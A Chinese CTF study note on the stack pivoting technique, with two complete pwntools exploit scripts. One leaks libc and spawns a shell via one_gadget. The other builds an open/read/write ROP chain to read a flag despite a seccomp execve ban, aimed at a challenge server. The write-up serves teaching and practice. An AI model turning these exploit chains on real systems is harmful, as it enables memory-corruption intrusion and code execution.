学习记录之栈迁移(stack pivoting)

admin 2024年2月3日20:26:34评论15 views字数 4441阅读14分48秒阅读模式

学习记录之栈迁移

趁着寒假这次的hgame和之前的pctf来总结一下栈迁移相关的内容

stack pivoting(也称栈迁移)是一种控制迁移栈顶指针rsp和栈帧指针rbp来达到自身目的的一种攻击方式

目的主要有两种

  1. 实现任意地址写

  2. 变相的增加栈溢出的字节数

对于栈迁移,关键在于指令leave;ret两个指令

leave等效于下面两个指令

mov rsp;rbppop rbp

ret等效于下面指令

pop rip;

在如下代码中(此为主函数)

buf= byte ptr -80h; __unwind {endbr64push    rbpmov     rbp, rspadd     rsp, 0FFFFFFFFFFFFFF80hmov     eax, 0call    initlea     rdi, s          ; call    _putslea     rax, [rbp+buf]mov     edx, 90h        ; nbytesmov     rsi, rax        ; bufmov     edi, 0          ; fdmov     eax, 0call    _readmov     eax, 0leave #mov rsp;rbp   pop rbpretn  #pop rip;; }

对于函数头中的

push rbpmove rbp,rsp

我们的leave指令可以看作是相反过程

leave中先把rbp的值赋给rsp,再将rbp弹栈,rsp的值-8

假设此时栈顶的值为0x1234,则rbp将指向0x1234

如果我们通过栈溢出漏洞将栈顶的值改为我们想要迁移的地址,则完成了rbp的迁移

但此时rsp还未迁移到想要的位置

我们只需要再进行一次leave,即将rbp修改后的值赋给rsp,即可完成rsp的迁移

因此我们进行栈迁移的思路即为

  1. 通过栈溢出将rbp劫持到一个可写入的段,通常是bss段,假设劫持地址是0x401101

  2. 然后返回到溢出函数的开始,再次进行一次leave将rsp迁移到0x401101

  3. 再次通过栈溢出将rbp迁移到我们想要的位置,如0x401201

即可完成rsp与rbp的迁移

在上述例题中,溢出量为0x10,难以构造rop,便考虑通过栈迁移来增大溢出量

假设bss头的地址为0x401010,溢出函数read的头为0x40401a

则我们可以通过以下脚本来完成栈的迁移

pl1 = b'a'*0x80+p64(bss+100)+p64(0x40401a)p.send(pl1)pl2 = b'a'*0x80+p64(bss+0x180)+p64(0x40401a)p.send(pl2)

便可以将rsp指向0x401110,rbp指向0x401190

在bss段开辟出了一段80字节可供我们进行攻击的空间

例题1分析

主函数

int __cdecl main(int argc, const char **argv, const char **envp){  char buf[128]; // [rsp+0h] [rbp-80h] BYREF  init(argc, argv, envp);  puts("easy rbp");  read(0, buf, 0x90uLL);  return 0;}

函数较为简单,也存在明显的栈溢出漏洞,但溢出量仅有10字节,难以构造rop,因此考虑使用stack pivoting进行解题

题目分析

  1. 程序中不存在后门函数和flag字符串,考虑通过已有函数来泄露libc基址,通过动态链接来调用system("/bin/sh")

  2. 程序有明显的栈溢出漏洞

  3. 溢出量较小考虑使用栈迁移技术

学习记录之栈迁移(stack pivoting)

学习记录之栈迁移(stack pivoting)

主函数汇编码如下图所示

学习记录之栈迁移(stack pivoting)

EXP

from pwn import *context(os="linux",arch="amd64",log_level='debug')elf=ELF("./rbp")libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')io=process("./rbp")puts_plt = elf.symbols['puts']puts_got = elf.got['puts']read=0x4011fdrdi=0x401283main=0x4011dbpay=b'a'*0x80+p64(elf.bss()+0x500)+p64(read)io.send(pay)pay1=b'a'*0x80+p64(elf.bss()+0x500+0x80)+p64(read)io.send(pay1)pay2=p64(elf.bss()+0x500+0x90)+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main)io.sendline(pay2)puts_addr=u64(io.recvuntil(b"x7f")[-6:].ljust(8,b'x00'))libc_base=puts_addr-libc.symbols['puts']print(hex(libc_base))ogs = [0xe3afe,0xe3b01,0xe3b04]og = libc_base+ogs[0]r12=libc_base + 0x2f709pay3=b'a'*0x80+p64(elf.bss()+0x500+0x100)+p64(read)io.send(pay3)pay4=b'a'*0x80+p64(elf.bss()+0x500+0x180)+p64(read)io.send(pay4)payload=p64(elf.bss()+0x500+0x190)+p64(r12)+p64(0)+p64(og)io.send(payload)io.interactive()

我们对exp逐段分析

第一段:解析文件,开启本地进程

第二段:分析各个变量以及函数地址,方便后续调用

第三段:首先通过栈迁移将输入内容迁移到bss+0x500位置处,来增大溢出量方便构造rop以及泄露libc基址,同时增大量与变量原有量0x80相同

第四段:在栈迁移的基础上进行libc基址泄露,输入的位置位于bss+0x500+0x90

第五段:进行libc基址的接收与打印(检验是否泄露成功),以及one_gadget的应用来构造rop,one_gadget的应用

第六段:再次进行栈迁移来增大溢出量

第七段:在bss+0x500+0x190位置出输入攻击数据(rop),发送并进行交互

one_gadget的使用

通过对libc文件的one_gadget来进行使用,如下图所示

使用one_gadget前要求所使用的寄存器内的值为null,使用前可通过gdb查看是否为0,不为0的话pop即可

假如我们向上述exp所示定义

ogs = [0xe3afe,0xe3b01,0xe3b04]og = libc_base+ogs[0]

则保证0x3afe对应的寄存器值为null

通过libc与one_gadget的配合,可以直接调用system(‘/bin/sh’),不用再输入函数地址

例题2

主函数如下

学习记录之栈迁移(stack pivoting)

vuln(漏洞函数)如下图

学习记录之栈迁移(stack pivoting)

题目分析

  1. 程序首先使用的沙箱保护,seccomp函数禁用了59号系统调用号,即execve

  2. vuln函数中存在存在明显的栈溢出,溢出量为30字节

  3. 程序中无后门函数以及flag,/bin/sh等字符串

解题思路

  1. 通过栈溢出漏洞来泄露出libc基址

  2. 使用orw来输出flag字符串,即open,read,write函数

  3. 考虑到不存在flag字符串,需要我们自己输入一个flag字符串

  4. 考虑到溢出量仅为30字节,不足以进行orw,考虑进行栈迁移到可写的bss段

EXP

from pwn import *p = remote('47.100.137.175',32644)libc=ELF('./libc.so.6')elf=ELF('./vuln')bss=elf.bss()puts_plt = elf.plt['puts']puts_got = elf.got['puts']ret = 0x40101ardi = 0x4013e3vuln = 0x40125bpl1 = b'a'*(0x100+8)+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(vuln)p.sendlineafter("Greetings. Traveller from beyond the fog. I Am Melina. I offer you an accord.n",pl1)puts_real = u64(p.recvuntil('x7f')[-6:].ljust(8, b'x00'))print(hex(puts_real))libc_addr = puts_real - libc.sym["puts"]print(hex(libc_addr))rsi = libc_addr + 0x2601frdx = libc_addr + 0x142c92openz = libc_addr + libc.sym['open']readz = libc_addr + libc.sym['read']writez = libc_addr + libc.sym['write']pl2=b'a'*0x100+p64(bss+0x100)+p64(0x401276)p.send(pl2)pl3=b'a'*0x100+p64(bss+0x200)+p64(0x401276)p.send(pl3)pl4=p64(bss+0x210)+p64(rdi)+p64(0)+p64(bss+0x100)+p64(0x10)+p64(readz)pl4+=p64(rdi)+p64(bss+0x100)+p64(rsi)+p64(0)+p64(rdx)+p64(0)+p64(openz)pl4+=p64(rdi)+p64(3)+p64(rsi)+p64(bss+0x300)+p64(rdx)+p64(0x30)+p64(readz)pl4+=p64(rdi)+p64(1)+p64(rsi)+p64(bss+0x300)+p64(rdx)+p64(0x30)+p64(writez)p.send(pl4)sleep(1)p.send(b'./flagx00')p.interactive()

对exp进行逐段分析

  1. 解析文件,开启远程程序

  2. 分析各个变量以及函数地址,方便后续调用

  3. 进行libc基址的泄露并打印来检测泄露是否成功

  4. 控制orw要调用的寄存器值为null

  5. 通过动态链接库来获取open,read,write的地址。tips:函数名称勿与python中函数名称重复

  6. 通过栈迁移来增大溢出量来进行orw

  7. 进行orw来让程序输出flag字符串

  8. 进入交互模式

TIPS:第七段首行代码是调用c语言中read函数来让我们输入程序中本不存在的flag字符串,与后面输入的形成配合

p.send(b'./flagx00')

在c语言中,orw中open,read,write都需要三个参数才能使用,因此在调用前需要确保前三个传参寄存器的值为目标值,如第七段首行是为了将后续输入的flag字符串输入到bss+0x100处

原文始发于微信公众号(火炬木攻防实验室):学习记录之栈迁移(stack pivoting)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年2月3日20:26:34
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   学习记录之栈迁移(stack pivoting)https://cn-sec.com/archives/2465709.html

发表评论

匿名网友 填写信息